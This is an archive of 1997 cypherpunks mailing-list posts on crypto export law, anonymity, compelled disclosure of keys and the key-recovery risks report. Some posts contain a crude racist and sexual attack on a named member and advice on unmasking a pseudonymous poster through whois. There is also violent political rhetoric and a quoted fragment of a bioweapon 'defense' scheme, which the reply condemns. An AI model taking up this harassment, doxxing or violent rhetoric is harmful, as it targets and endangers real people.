> >> that actually downloads it, if it is available via anonymous FTP???
> 
> >The downloader by definition is restricted by his own national laws
> >not by US laws.  US attempted world policeman attitude does not mean
> >that US laws apply outside the US, particularly not to non-US citizens
> >outside the US.
> 
> They may apply to you anyway

I was arguing that US laws do not apply to me living outside the US.
The US courts/government may claim otherwise but this does not alter
that fact.

Where international agreements have been agreed the laws become part
of the legal framework of the agreeing countries.

Extradition is another method, but people normally only get extradited
from their own country if they commit a crime against a citizen of the
extraditing country.

And finally kidnap, the fact that this is an extra-legal process does
not bother the US.  (In fact they even declare it legal if they
consider it appropriate, as I understand it.)

> - they're not very enforceable if you're outside US territory,
> though if you try to visit the US once they've pegged you as a
> crypto-terrorist aider-and-abetter of drug smugglers, money
> launderers, child pornographers, and Commies, they could give you a
> hard time.  Just because you haven't been caught YET doesn't make
> you innocent :-)

For the sake of argument if I were detained at a US airport, or
kidnapped and taken to the US, and further was found to be "guilty" as
defined by US law, I would not be guilty, and I would hope that my
country would attempt to intervene.

The reality of all this is strained however because, a) they wouldn't
extradite someone, nor kidnap them for this, b) they wouldn't detain
me if I entered the US (I did last year with no ill effects), c) I am
having difficulty imagining what it is they could legitimately charge
me with, even by US standards of legitmacy with regard to crypto
export.  I attempted to _import_ a piece of software into the UK, no
crime there.

> Remember the Canadian author / Disney hero Farley Mowat?  
> He once got annoyed enough at the US military for flying nuclear-armed
> bombers over Canada that he shot at some as they crossed the border.
> Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
> and he was just making a political statement by it, but he was
> banned from the US for years.

I suspect it would be dodgy shooting at military aircraft in Canada
also.  In the UK, and most of EU (with the exclusion of France), we
can export electronically (on the web etc) to our hearts content.  The
situation with tangible exports, at least in the UK, is different.  I
understand you need a license to export tangibly.  I was unaware of
this at the time I started exporing T-shirts, but I'm aware of it now,
and have no particular intention of ceasing to export T-shirts.  If
they want to do something about it and make a media spectacle of
themselves, they're most welcome to try :-)

Actually I took a couple of my munitions T-shirts with me when I went
to the US last year, and bought them back out with me.  I was wearing
one of them (under another garment) through the airport as I left.
Again if the US would like to try something, the next time I'm there
they are welcome to try.

Unfortunately perhaps it appears, at least according to Peter Junger
that the T-shirts are probably OK now under the EAR regulations being
printed material, whilst I think he held that they would be
technically a violation under ITAR.  ITAR was the active regulation at
the time.

> >Self appointed world policemen are fooling themselves if they think
> >they have any control over bit flow.
> 
> As long as it keeps Americans from using strong crypto on an 
> everyday basis, for everything, and from taking the attitude that
> their privacy is their own business, it's working.
> Doesn't matter if a few foreign spies can talk to each other.

True enough.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Thu, 22 May 1997 02:19:52 +0800
To: stewarts@ix.netcom.com
Subject: attila the hun (was Re: Wine Politics Again!)
In-Reply-To: <3.0.1.32.19970521005002.00772a90@popd.ix.netcom.com>
Message-ID: <199705211739.SAA01823@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:
> At 11:13 PM 5/20/97 -0700, Kent Crispin wrote:
> >On Tue, May 20, 1997 at 04:23:10PM +0000, Attila T. Hun wrote:
> 	[rant deleted - bill]
> >Speaking of power corrupting, notice how the power to speak 
> >anonymously has destroyed this poor souls brain.

Kent, I think you would find that Attila would be perfectly happy to
include his map coordinates, phone number, full name and address and
repeat his views to you, or to repeat them to your face, aside from
the privacy considerations.

> Attila's not anonymous - he's a regular poster, and has been
> for long enough to build up some reputation around his penname.

I'm not sure how anonymous Attila is in total.  He made a comment on
this with regard to Black Unicorn's anonymity a short while back.  I'm not
sure he's trying to hide his identity to that great a degree beyond
using a nick name that some folks gave him years back.  There are
several things which would help you track details down... he has
regularly discussed his local mormon community, the location in which
he lives, and his own domain "hun.org", his position within the local
mormon church, his big bore 'bike, physical appearance (300lb gorilla
I think is his own description), nationality, qualifications, military
service details, etc.  A whois on hun.org would likely get you his
phone number, or someone who would know his phone number.  His
primenet account would probably similarly get you info.  Unless he
uses aliases in real life also, and unless the details he has given us
over the years are not true.  (I haven't met him, though I think
others have).

In short I believe you picked on the wrong guy if you considered
Attila an example of someone with lots to say when hiding behind
strong anonymity.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 22 May 1997 09:54:23 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <19970521184119.00519@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, May 21, 1997 at 11:41:08AM -0800, Tim May wrote:
> 
[...]
> I almost never think government agents, even most rulers, are in any
> meaningful sense "evil."

Ah, good.  Sanity has returned for a moment.

> I've written in the past about "institutional" issues, and about
> Nietzsche's "Beyond Good and Evil." The problems in the United States, with
> bloated welfare roles, a "policeman for the world" mentality, an overly
> litigous/litigious society, etc., come not from any personal evil on the
> part of the elected or appointed officials, but rather from an inexorable
> growth of certain institutions in predictable ways. Any enity, be it an
> organism or an institution, a living plant like a tree or a corporation
> like PGP, Inc., grows and thrives by how well it competes, how well it
> bends toward the sources of food and energy, and what genes or memes it
> received. "The purpose of any organism is to survive" is a telelogical
> truism, of course. But it is still true. All institutions--corporations,
> clubs, Cypherpunks--seek to prosper and grow, in various ways. Even if not
> directed by a central nervous system.
> 
> In corporations, even individual departments seek to grow. This aids in
> career advancement. "Empire building" happens with countries, government
> bureaucracies, corporations, clubs, and so on.
> 
> There are perfectlylogical game-theoretic reasons why the Washington
> bureaucracy has gotten so large, why every one of the 500+ Congresscritters
> has a staff of dozens working for him or her, why each of the dozen or so
> major Cabinet departments has dozens of buildings and thousands (even
> millions, as with DoD) of worker bees, why each entity in government seeks
> constantly to expand its scope and powers, and why the number of rules,
> regulations, laws, emergency orders, and edicts expands inexorably every
> day.
> 
> "Evil" is not a useful way to analyze this problem. In this sense, everyone
> in government is an "innocent." But the problem still needs to be fixed.

I don't think this problem can be "fixed" in any meaningful way.  You
just argued that the problem is a consequence of "perfectly logical
game-theoretic reasons".  There is nothing in the crypto-anarchy
agenda or your revolutionary rhetoric that are going to make those
game-theoretic reasons go away.  "Meet the new boss, same as the old
boss".  The new boss may hide behind a cryptographic curtain, but he
will still scheme and plot to expand his power, and join with his
allies to attack his enemies, and after he has defeated those enemies
he will attempt to stab his allies before they stab him.  Thus it is 
with you; thus it is with me; thus it is with humanity.

Americans especially are spoiled: the European colonists, like
Darwin's finches, were able to expand freely into a whole virgin
economic ecosystem, and evolve to fit many unoccupied niches.  Now the
niches are full, and competition is hard.  Now those free-ranging
Americans have to deal with diminishing expectations.  All the free
stuff is gone; the pie gets cut into thinner and thinner pieces.  In
every field there are thousands of talented competitors.  In the
compressed time of high tech we now see patents on trivial and
picayune ideas that not too many years ago would have been considered
too obvious to bother with.  Groups of 40 scientists coauthor papers
concerned with esoteric minutia.  Musicians scrabble to get "their" 
music copyrighted.  Athletes talk about patenting their "moves".  

The frustrations of the bubba-cypherpunks with their ego-bolstering
arsenals are yet another symptom, same as the bubba-militiamen.  They 
fixate on the "gubmint" as the source of all that's wrong, hatch 
conspiracies, and keep muttering obscenities and veiled threats, until 
their imagined enemies become real.

> And in fixing these institutions it is unavoidable that "non-evil" persons
> will be affected. How could it be otherwise? Some will lose their careers,
> some their current jobs, some may even lose their lives. (No, this is not a
> threat, just a statement of the obvious, a prediction.)
> 
> Innocents in Washington and elsewhere will, if they have any sense of their
> own future security, seek to avoid the institutions and power centers which
> will be affected by the necessary restructurings.

My friend, we are on this train together.  If it wrecks we are all at
risk.  You can hide in your abatis on your hill, but the protection it
offers is a complete and utter illusion.  There isn't going to be any
"restructuring" that doesn't affect us all.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bose <abose@tc.cac.edu.eg>
Date: Thu, 22 May 1997 00:07:58 +0800
To: cypherpunks@toad.com
Subject: Mailing List
Message-ID: <1347881886-2060089@tc.cac.edu.eg>
MIME-Version: 1.0
Content-Type: text/plain


Put me on your mailing list, please.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 22 May 1997 08:05:51 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re:  Poison Pill Defense (fwd)
Message-ID: <199705212356.SAA22445@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Peter Trei -----

>From cpunks@manifold.algebra.com  Wed May 21 09:12:25 1997
Message-Id: <199705211410.KAA03539@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@algebra.com
Date: Wed, 21 May 1997 10:21:43 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re:  Poison Pill Defense
Reply-to: trei@process.com
CC: trei@www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

nobody@huge.cajones.com (Huge Cajones Remailer) writes:
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
 
> Preliminary: choose a suitable viral agent.  [...]

> Step one: immunize household members against this agent.

Several things come to mind in reading this.

1. This has *no* crypto-related content.

2. This guy has been watching too many re-runs of 'Mission 
Impossible'. The scheme is Rube-Goldberg and full of potential
failure modes, ranging up to and including the accidental 
death of the implementor and his/her household. The techniques
involved are complex, difficult, dangerous, and expensive. 

3. This is not a 'defense'. 

* It won't stop a raid; if it's deployment is kept secret, 
  it's deterrence value is zero. If it's deployment is 
  publicized, then it is ineffective, since the raiders 
  will take appropriate countermeasures (and announcement
  of it's deployment is *very* good grounds for a raid).

* It won't work to conceal whatever you had that was worth 
  concealing, in the event of a raid.

All it is a scheme for getting petty vengence, and even 
if works perfectly, will get you murder or attempted 
murder charges tacked onto whatever you were raided for.

Only an idiot (such as our anonymous poster) would even 
think of deploying such a scheme. 

4. If I were an agent provocateur, attempting to make the 
members of this list look dangerous, I'd encourage them to
discuss topics like this. Jim Bell's advocacy of AP may have
been legal, but it sure didn't endear him to LEAs.

I seriously suspect that this thread may have been planted
by someone with the intent of discrediting the list.

Peter Trei
Disclaimer: I speak only for myself.
 

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@algebra.com>
Date: Thu, 22 May 1997 08:09:47 +0800
To: cypherpunks@manifold.algebra.com
Subject: Re: Hacked, Trashed and Out of Beer (fwd)
Message-ID: <199705212356.SAA22476@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from Peter Trei -----

>From cpunks@manifold.algebra.com  Wed May 21 09:20:15 1997
Message-Id: <199705211417.KAA03928@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@manifold.algebra.com
Date: Wed, 21 May 1997 10:28:32 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Hacked, Trashed and Out of Beer
Reply-to: trei@process.com
CC: trei@www.video-collage.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

Bill Frantz wrote:
> At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
> >Well, I finally managed to catch up on all the email from this list, and
> >managed to also get all of the hacked web sites thus far up on my web
> >page at http://www.dis.org/se7en
> >
> >w-h-i-c-h includes:
> >
> >Amnesty International
> >Central Intelligence Agency
> >East Timor, Indonesia
> >Kriegsman Fur
> >NASA
> >U.K. Labour Party
> >U.S. Air Force
> >U.S. Department of Justice
> 
> Gee, your server sure wants to send a lot of cookies.  I consider receiving
> a cookie before getting a statement, or being able to guess (e.g. WEB
> shopping), about their use to be an unfriendly act.

> Bill Frantz

Netscape 4.x (I'm using beta3, beta4 is now out) includes an option 
to silently refuse all cookies. That alone is enough to make me
put up with it's instabilities.

Peter Trei

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Thu, 22 May 1997 09:24:53 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: One-time pads
In-Reply-To: <199705212337.QAA20381@fat.doobie.com>
Message-ID: <Pine.A41.3.95.970521190038.93756A-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 21 May 1997, Huge Cajones Remailer wrote:
I think Vulis needs each of us to send ten copies of this back to him.

> Timothy C[reep] May sits at his terminal dressed in five-inch stiletto heels, 
> fishnet stockings, a gold-lame mini-skirt, a purple halter with girdle underneath 
> to keep in his flabby gut, a Fredericks of Hollywood padded bra also underneath 
> the halter, a cheap Naomi Sims pink afro wig, waiting to yank his crank whenever a 
> black man responds to one of his inane rants.
> 
>           ^. .^
>           ( @ )
>             c
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:14:53 +0800
To: cypherpunks@algebra.com
Subject: "You have the right to remain silent"
In-Reply-To: <199705220049.TAA14688@einstein.ssz.com>
Message-ID: <v03007806afa965623546@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:49 PM -0800 5/21/97, Jim Choate wrote:
>Forwarded message:
>
>> Subject: Re: encryption laws (fwd)
>> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
>
>> > If they had reasonable cause to believe you had knowledge of the key and
>> > were refusing to divulge it under direct order of the court you would be
>> > held in contempt until you were very old and gray.
>>
>> Yes - the 5th Amendment is useless like all the other consitutional
>>"rights".
>
>The 5th is meant to apply ONLY to persons being accussed of a crime, it is
>not nor was it ever meant to protect non-accussed persons from turning over
>evidence of criminal acts.

So you are saying the police may compel any and all information from
someone just so long as that person has not been formally accused of a
crime?

The Miranda precedent ("you have the right to remain silent...")
establishes that someone under arrest may remain silent. And someone _not_
under arrest is under no obligation to cooperate, unless subpoenaed, right?

The latest example being the Ramsey case in Boulder ("Home of PGP"). Much
is made of the fact that the Ramseys, not being under arrest, are not
required to *say anything* to the police. (Left unanswered is why innocent
parents whose daughter has been brutally murdered would choose to say
nothing to the police...even I, a skeptic about much that modern cops are
involved in, am suspicious of the Ramseys for their noncooperativeness.)

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Davidson <abd@cdt.org>
Date: Thu, 22 May 1997 07:27:14 +0800
To: cypherpunks@cyberpass.net
Subject: Report: The Risks of Key Recovery
Message-ID: <v03020921afa92ec05b77@[207.226.3.11]>
MIME-Version: 1.0
Content-Type: text/plain



An experts' study of the risks presented by key escrow and key recovery was
released this morning and is now available on the Web at

		http://www.crypto.com/key_study/

Thought some of you folks might find this interesting.

Regards,

	Alan

-----------------

THE RISKS OF KEY RECOVERY, KEY ESCROW, AND TRUSTED THIRD PARTY ENCRYPTION

        Report By Leading Cryptographers and Computer Scientists Says
            Government Encryption Plan Is Risky and Impractical

On Wednesday May 21, a group of leading cryptographers and computer
scientists released a report examining the risks and implications of
government-driven key-recovery systems.

The report cautions that, "The deployment of a general key-recovery-based
encryption infrastructure to meet law enforcement's stated requirements
will result in substantial sacrifices in security and cost to the end user.
Building a secure infrastructure of the breathtaking scale and complexity
demanded by these requirements is far beyond the experience and current
competency of the field."

The report's authors, recognized leaders in the fields of cryptography and
computer science, include Hal Abelson, Ross Anderson, Steven M. Bellovin,
Josh Benaloh, Matt Blaze, Whitfield Diffie, John Gilmore, Peter G. Neumann,
Ronald L. Rivest, Jeffery I. Schiller, and Bruce Schneier.

HOW TO OBTAIN A COPY OF THE REPORT

The report is available online at http://www.crypto.com/key_study/
and printed copies will also be available through the Center for
Democracy and Technology.

FOR MORE INFORMATION

If you have any questions or would like additional information, please
contact Alan Davidson at CDT, 202.637.9800 <abd@cdt.org>.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:23:38 +0800
To: cypherpunks@algebra.com
Subject: Re: Cypherpunk criminalization
In-Reply-To: <97052117355649/0005514706DC6EM@mcimail.com>
Message-ID: <v03007807afa968fc0dbe@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 5:41 PM -0800 5/21/97, Kent Crispin wrote:

>I don't think this problem can be "fixed" in any meaningful way.  You
>just argued that the problem is a consequence of "perfectly logical
>game-theoretic reasons".  There is nothing in the crypto-anarchy

Game-theoretic reasons depends on the rules of the game. Actually, the
rules are already changing, e.g., Clinton's agreement to end welfare in the
next few years, which will without a doubt alter the rules of the game
which have made welfare a viable career for so many millions...these folks
are on the verge of either learning a real trade (doubtful) or starving
(hooray).

But more rules need to change. Many of us (most of us?) expect strong
crypto to be a catalyst for some major changes. You, Kent, obviously
disagree, and push for more government involvement to shore up the existing
rules.

You are not evil, as per my point, but your kind will be swept aside,
possibly violently but probably through a shut-down of the Livermore Labs.

(My spies within LLL tell me of desperate efforts to find alternative
funding sources, e.g., the "Extreme UV" project. Ultimately, hopeless. A
government lab which loses its main raison d'etre cannot reconfigure itself
as a "think tank" for private industry. Gimme a break.)



>The frustrations of the bubba-cypherpunks with their ego-bolstering
>arsenals are yet another symptom, same as the bubba-militiamen.  They
...

Back into my kill file you go, Kent. I had hope that by looking at your
messages after a few weeks of ignoring you I might find something fresher.
Same old insults.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Thu, 22 May 1997 10:53:57 +0800
To: Jim Choate <cypherpunks@toad.com
Subject: Re: Compelling a key (fwd)
In-Reply-To: <199705220045.TAA14677@einstein.ssz.com>
Message-ID: <v03007808afa96b4f9980@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 4:45 PM -0800 5/21/97, Jim Choate wrote:
>Hi Tim,
>
>And here I was believing your speal about being in your kill file, oh well.
>It must be true that nothing is sacred.

Before I even look at the rest of your message, let me make my filtering
policy clear: I freely move people into my filter file, which puts their
messages in my Eudora trash file. These messages are still viewable, unless
I have issued the "Empty Trash" command.

When volumes are low, or I have spare time and/or curiosity, I can look
into the  Trash folder to see what has accumulated. Usually its a lot of
crap from Vulis, and from his shadow, Graham John-Bullers, etc..

Sometimes I move names out of this filter file. "Random reinforcement,"
where they never know whether I'm reading their messages or not, has some
advantages.

(I did this with Kent Crispin just recently.)

On to your message:


>> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
>> who refused to say where her children were, was held for about 2 years, and
>> that this was the all-time record for a contempt case. She was ultimately
>> released when the court concluded she had no intention of cooperating.
>
>Exactly! It is ENTIRELY up to the individual judge who issued the contempt
>citation. If they are pissed enough 2 years will be nothing. As far as I
>have been able to find there are NO statutes, other than that of a statute
>of limitation for a particular type of crime, that limit how long you can
>sit in jail on contempt.


Agreed.

--Tim May


There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:18:41 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220031.TAA14578@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Wed, 21 May 1997 15:03:32 -0400
> From: tzeruch@ceddec.com

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> IANAL, but
> 
> You could claim 5th ammendment priviledge - they would have to give
> immunity from any prosecution relating to the contents.
> 

The 5th ONLY applies if you are being accussed AND immunity is not granted.


                                                      Jim Choate
                                                      CyberTects
                                                      ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:23:55 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220036.TAA14603@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> From: frissell@panix.com
> Date: Wed, 21 May 1997 07:45:35 -0400

> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.

> Two years max.  A lot less time if you followed my strategy of spamming the 
> court with daily (hourly?) screeds in which you assert in your finest Usenet 
> flame language the fact that you will never follow the judge's order.

Your contention is that the longest a judge can hold you on contempt charges
is two years? I would love to see a reference on this one.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cyberdog <eric@clever.net>
Date: Thu, 22 May 1997 08:01:06 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: <v03102800afa938d943f4@[204.249.244.13]>
MIME-Version: 1.0
Content-Type: text/plain


>Anonymous remailers protect speakers from retaliation. The Founders used
>anonymity, as the pseudonymous writings in the Federalist Papers show.
>
>Granted, some anonymous posts are drivel, some are even illegal.
>
>So?
>

The Antifederalist writers used pen-names too, and recent events make thier
arguments interesting.

http://colossus.net/wepinsto/rot/afp/index.html

Index to the Antifederalist Papers



       Antifederalist No. 1 GENERAL INTRODUCTION: A DANGEROUS PLAN OF BENEFIT
       ONLY TO THE "ARISTOCRATICK COMBINATION"
       Antifederalist No. 2 "WE HAVE BEEN TOLD OF PHANTOMS"
       Antifederalist No. 3 NEW CONSTITUTION CREATES A NATIONAL GOVERNMENT;
       WILL NOT ABATE FOREIGN INFLUENCE; DANGERS OF CIVIL WAR AND DESPOTISM
       Antifederalist No. 4 FOREIGN WARS, CIVIL WARS, AND INDIAN WARS - THREE
       BUGBEARS
       Antifederalist No. 5 SCOTLAND AND ENGLAND - A CASE IN POINT
       Antifederalist No. 6 THE HOBGOBLINS OF ANARCHY AND DISSENSIONS AMONG THE
       STATES
       Antifederalist No. 7 ADOPTION OF THE CONSTITUTION WILL LEAD TO CIVIL
WAR
       Antifederalist No. 8 "THE POWER VESTED IN CONGRESS OF SENDING TROOPS FOR
       SUPPRESSING INSURRECTIONS WILL ALWAYS ENABLE THEM TO STIFLE THE
       FIRST STRUGGLES OF FREEDOM"
....








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 22 May 1997 09:41:58 +0800
To: cypherpunks@toad.com
Subject: Compelling a key (fwd)
Message-ID: <199705220045.TAA14677@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi Tim,

And here I was believing your speal about being in your kill file, oh well.
It must be true that nothing is sacred.

Forwarded message:

> Date: Tue, 20 May 1997 22:33:35 -0800
> From: Tim May <tcmay@got.net>
> Subject: Compelling a key

> >> Would it be possible for a court to subpeona a encrypted file or key,
> >>
> >> and order you to tell them the key ?
> >> If you didn't would you be held in 'contempt of court' ?
> >
> >If they had reasonable cause to believe you had knowledge of the key and
> >were refusing to divulge it under direct order of the court you would be
> >held in contempt until you were very old and gray.
> 
> Not necessarily. Mike Godwin, and others, have written about the
> "compelling of keys." It is by no means clear that a key can be compelled.
> Citing the Fifth is one approach, saying one "forgot" is another.

Citing the 5th ONLY works if no immunity from prosecution for the results
is offered. If the judge offers and you refuse, don't worry about buying
toothpaste for many years.

Saying you 'forgot' will not keep you out of jail on contempt. It might
buy you sympathy from the jury but then again, they have nothing to say
about contempt charges.

> As to being held indefinitely, imprisonment as an inducement to cooperation
> has limits. (I just saw a spiel by Alan Dershowitz and others on this
> tonight, vis-a-vis how long Susan McDougal can be imprisoned for contempt
> in the Whitewater investigation.)
> 
> Basically, only until there is no reasonable expectation that the contempt
> will be satisfied (or whatever the exact term is).
>
> In practice, I think the Washington, D.C. doctor, Elizabeth X, the woman
> who refused to say where her children were, was held for about 2 years, and
> that this was the all-time record for a contempt case. She was ultimately
> released when the court concluded she had no intention of cooperating.

Exactly! It is ENTIRELY up to the individual judge who issued the contempt
citation. If they are pissed enough 2 years will be nothing. As far as I
have been able to find there are NO statutes, other than that of a statute
of limitation for a particular type of crime, that limit how long you can
sit in jail on contempt.

The only way you would get out in that case would be to file with the
appropriate courts for a writ of habeas corpus.

                                                  Jim Choate
                                                  CyberTects
                                                  ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 22 May 1997 09:38:22 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: encryption laws (fwd)
Message-ID: <199705220049.TAA14688@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Subject: Re: encryption laws (fwd)
> From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)

> > If they had reasonable cause to believe you had knowledge of the key and
> > were refusing to divulge it under direct order of the court you would be
> > held in contempt until you were very old and gray.
> 
> Yes - the 5th Amendment is useless like all the other consitutional "rights".

The 5th is meant to apply ONLY to persons being accussed of a crime, it is
not nor was it ever meant to protect non-accussed persons from turning over
evidence of criminal acts.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Thu, 22 May 1997 10:14:54 +0800
To: Ryan Anderson <randerso@ece.eng.wayne.edu>
Subject: Re: Hey, what does this mean?
In-Reply-To: <Pine.GSO.3.95.970521163045.13177M-100000@ece>
Message-ID: <Pine.BSF.3.91.970521204223.26894E-100000@mcfeely.bsfs.org>
MIME-Version: 1.0
Content-Type: text/plain




Didn't a member of congress describe, in session, in detail, how to make a
bomb, quoting instructions found on the Internet? Wouldn't this make
possesion of the Congressional Record a felony? Anybody able to cite this
reference? 

-r.w.

On Wed, 21 May 1997, Ryan Anderson wrote:

> On Tue, 20 May 1997, Tim May wrote:
> 
> > Anybody know what this means?
> 
> > According to Arlington detective Tom DeGongue, Aaron was charged Monday in
> > Arlington Circuit Court with one felony count of possession of bomb-making
> > instructions and one misdemeanor count of resisting arrest. According to
> 
> Felony count of possession of bomb-making instructions?  *INSTRUCTIONS*?
> 
> he'll be on the streets tomorrow, no charges pressed.
> 
